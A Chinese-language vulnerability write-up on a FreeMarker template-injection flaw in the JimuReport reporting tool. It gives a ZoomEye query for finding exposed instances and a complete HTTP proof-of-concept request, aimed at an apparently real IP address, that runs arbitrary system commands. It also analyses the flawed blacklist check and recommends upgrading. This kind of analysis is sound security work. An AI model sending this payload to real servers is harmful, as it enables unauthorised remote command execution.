项目介绍

JimuReport-积木报表是一款免费的web报表工具,在Github上面拥有4.7k的star。项目地址为:https://github.com/jeecgboot/JimuReport

image-20230908161823776

使用zoomeye发现存活资产682。

zoomeye语法:app:”积木报表”

image-20230908162036329

漏洞分析

漏洞介绍&复现

积木报表的/jmreport/queryFieldBySql接口存在SSTI

image-20230908163008474

该接口主要功能是方便用户自定义接口从数据库中读取数据,制作动态数据报表。同时为了防止被注入恶意SQL语句,后端采用了黑名单的形式过滤SQL语句。

image-20230908163313300

image-20230908163408125

该接口使用了FreeMarker模板解析用户的输入,同时缺少对输入参数的过滤,我们可以通过该接口执行任意命令。

image-20230908163910063

POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST http://118.24.23.24:8085/jmreport/queryFieldBySql HTTP/1.1
Host: 118.24.23.24:8085
Content-Length: 97
JmReport-Tenant-Id: null
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json;charset=UTF-8
Accept: application/json, text/plain, */*
X-TIMESTAMP: 1694159984423
X-Sign: 728A8E02B8227721377BD35FF70988B4
X-Access-Token: null
token: null
Origin: http://118.24.23.24:8085
Referer: http://118.24.23.24:8085/jmreport/index/f5f275b5e28b45256ef24587ec792f0c
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_b756a4a8e1c58d613e27d1459c6d6076=1694080791; Hm_lpvt_b756a4a8e1c58d613e27d1459c6d6076=1694159953
Connection: close

{"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"id\")}'"}

漏洞分析

前端输入的sql语句会先经过黑名单检测,检查其是否存在SQL注入的可能。

image-20230908164303922

在经过一系列检查后,会被FreeMarker引擎进行解析。

image-20230908164524270

在这个解析的过程中,FreeMarker将定义一个名为ex的变量,它引用了freemarker.template.utility.Execute类,然后使用ex执行了命令id,然后返回执行结果。

image-20230908164926042

修复建议

该漏洞已在1.6.1版本得到修复,请受影响用户及时升级到最新版本。或者设置其仅对可信地址开放。

一些杂谈

JimuRepost的这个漏洞其实在jeecg-boot中也存在,只是接口存在一定的不同。JimuRepost和jeecg-boot都是JEECG官方的产品,故其中存在相当大一部分的代码复用,所以同一种漏洞出现在不同的产品上也丝毫不奇怪。

jeecg官方设计这个功能给了用户极大的自由,但是他们在安全性的考量上有些太欠缺了,甚至没有给Jimurepost做一个登录限制。这导致了漏洞利用的难度极低。